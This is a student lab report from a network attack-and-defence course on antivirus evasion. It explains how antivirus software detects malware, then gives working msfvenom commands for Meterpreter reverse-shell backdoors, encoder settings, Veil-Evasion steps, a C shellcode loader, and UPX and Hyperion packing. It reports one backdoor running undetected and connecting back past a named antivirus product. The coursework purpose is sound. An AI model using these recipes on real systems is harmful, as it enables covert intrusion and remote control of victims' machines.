2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
免杀原理及基础问题回答
一、免杀原理
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
- 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
- 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
二、基础问题回答
- 问:杀软是如何检测出恶意代码的?
- 基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
- 启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。(非精确)
- 基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。(非精确)
- 问:免杀是做什么?
- 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
- 问:免杀的基本方法有哪些?
- 改变特征码
- 只有EXE——加壳(压缩壳 加密壳)
- 有shellcode(像Meterpreter)——利用encode进行编码
- 有源代码——用其他语言进行重写再编译
- veil-evasion
- 半手工
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
- 通讯方式
- 改变特征码
三、免杀效果评价
利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 正确使用msf编码器,生成exe文件
在实验二中使用msf生成了后门程序,我们可以使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
用VirusTotal扫描后结果如下:
在使用Virscan网站时,如果文件名中有数字就会出现以下错误,需要改命
改命过后Virscan网站的扫描结果如下:
由此可见不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。
-
一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.208.129 LPORT=5318 -f exe > met-encoded.exe
-
十次编码使用命令:
-i
设置迭代次数msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.208.129 LPORT=5318 -f exe > met-encoded10.exe
将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:
-
可见多次编码对免杀没有太大的效果,原因有两点:
- shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这部分就可以了。
- msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。
2. msfvenom生成jar文件
-
生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 x> sxx_backdoor_java.jar
生成文件如下所示:
扫描结果如下:
3. msfvenom生成php文件
-
生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 x> 20165318_backdoor.php
生成文件如下所示:
扫描结果如下:
想生成更多其他形式的文件可以参考学姐的博客
4. 使用veil-evasion生成后门程序及检测
安装veil
- 如果镜像是2018的话,在安装之前可以先执行下面的指令,可能会需要比较长的时间
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
用
sudo apt-get install veil-evasion
命令安装Veil-
之后用
veil
打开veil,输入y
继续安装直至完成,这期间可能要等待较长时间: -
成功的话,输入
veil
指令,会出现下面这个界面 用
use evasion
命令进入Evil-Evasion输入命令
use c/meterpreter/rev_tcp.py
进入配置界面设置反弹连接IP,命令为:
set LHOST 192.168.208.134
,注意此处的IP是KaliIP;设置端口,命令为:
set LPORT 5318
输入
generate
生成文件,接着输入你想要playload的名字:veil_c_5318
.如上图所示,保存路径为
/var/lib/veil/output/compiled/veil_c_5318.exe
-
检测一下:
行吧,还是一样的会被检查出来。而且最神奇的是,同样的杀毒引擎,竟然一个报毒另一个安全????这是什么神奇的操作。。。
5. 半手工注入Shellcode并执行
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 -f c
用c语言生成一段shellcode;创建一个文件
20165318.c
,然后将unsigned char buf[]
赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
使用命令:
i686-w64-mingw32-g++ 20165318.c -o 20165318.exe
编译这个.c文件为可执行文件;检测结果如下图:
当想要使用windows上执行该程序时,被电脑的360卫士查杀。
6.加壳尝试一下
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。
在技术上分壳分为:
-
压缩壳
- 减少应用体积,如ASPack,UPX
-
加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
-
虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
-
使用压缩壳(UPX)
给之前的20165318.exe加个壳得到sxx_upxed.exe:
很不幸,还是被杀软查杀了。。。
如果我们想要测试一下他是否可以反弹连接又不想被查杀怎么办呢?——设置白名单,我用的是360卫士,具体如下:(其他的杀软大概也是大同小异,但是平时一定不要这样做!!!)
就ok啦,后面想要测试连接就可以这样做了,但是这样并不是杀软与病毒共存,只是让杀软不再检查这个目录而已。查看连接情况,可以反弹连接
-
加密壳Hyperion
将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中进入目录
/usr/share/windows-binaries/hyperion/
中输入命令
wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe
进行加壳:尝试一下反弹连接
检查一下
虽然还是有那么多被检测到了,但是竟然没有被电脑的360卫士发现!!!
在这个过程中,我看了学姐们的博客,有的说杀软没有发现后门程序,但我试过的所有程序都被杀软发现了,这也印证了杀软的病毒库是在一直更新的。
任务二:通过组合应用各种技术实现恶意代码免杀
- 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
- 任务成功截图:
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
注意:由于换了网络,IP地址会发生变化,所有的程序都需要重新生成
免杀方法:先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。
实验环境:对方电脑为 win7虚拟机,腾讯电脑管家13.0.19837.233
反弹连接结果
离实战还缺些什么技术或步骤?
首先,虽然程序能够不被杀软检测到,我们现在只是会一些简单的综合利用技术进行改造,但实际上病毒库时时刻刻不再更新发展,我们更需要学会多方面技术来使达到免杀的目的。
其次,但对于实战来说,恶意代码如何嵌入被攻击机中,并让被控主机运行它对我们来说还是一大问题,所以接下来要对如何伪装、吸引被供给端点击这方面进行学习。
整体来说就是要进行信息收集、漏洞分析,然后根据漏洞构造后门,并隐藏、清理痕迹等。
实验遇到的问题及解决方法
有一部分问题我在实验过程中有记录。
-
思考:我发现同样的软件,不同的杀毒软件查出来的问题不同
- 通过查阅资料常见病毒种类与杀毒软件分析了解到,由于不同的杀毒软件病毒库不完全相同,杀毒引擎也不一样,并且,不同软件检测恶意代码的方式也不尽相同,这就造成了杀软结果的差别。
-
问题:在与室友的主机ping时出现"TLL传输中过期"
- 因为我们两个的kali都是net模式,导致以上问题,当我们把kali都改成桥接模式之后,就可以ping通了。
实践总结与体会
- 本次实验是在上次后门实验的基础上的进阶,需要我们熟练掌握和运用后门技术,在实验过程中,我了解了免杀的概念、免杀的基本方法,能够熟练使用VirusTotal、Virscan等工具,能够有条理、有目的的对后门动手实现一些免杀的处理,虽然现在做实验大多还是跟着老师的步骤按部就班的走,但是通过理解掌握这些步骤,是我对后门及免杀有了更深的了解,为更加深入的研究免杀指明方向。
- 在实验过程中,生成的一些后门程序有的并没有被本机的杀软检测出来,这使我认识到,杀软没有被检测出来,并不代表完全安全,在以后上网的过程中还需谨慎小心,提高安全意识,要在官方正规网站下载程序,降低被植入后门的可能性。